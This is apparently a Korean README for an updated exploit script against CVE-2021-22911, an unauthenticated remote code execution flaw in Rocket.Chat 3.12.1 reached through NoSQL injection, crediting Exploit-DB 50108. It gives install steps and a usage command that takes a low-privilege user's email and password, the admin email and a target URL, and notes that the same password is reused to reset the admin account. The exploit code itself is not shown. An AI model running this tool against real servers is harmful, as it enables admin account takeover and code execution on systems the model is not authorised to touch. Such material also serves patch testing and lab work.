CVE-2021-22911에 대한 업데이트된 익스플로잇 (Rocket.Chat 3.12.1 - NoSQL 인젝션을 통한 RCE (인증 없음))

원저작자 크레딧 : https://www.exploit-db.com/exploits/50108

설치

• Python 가상 환경을 만들고 의존성을 설치합니다.

$ python -m venv venv
$ source venv/bin/activate
$ pip install requests oathtool

사용법

• 낮은 권한 사용자 비밀번호를 입력받고 동일한 비밀번호를 관리자 비밀번호 재설정에도 사용하는 새 -p 인자를 추가했습니다.

$ python 50108.py -u "[email protected]" -p "<low priv user password>" -a "admin@localhost" -t "http://<ip>:<port>"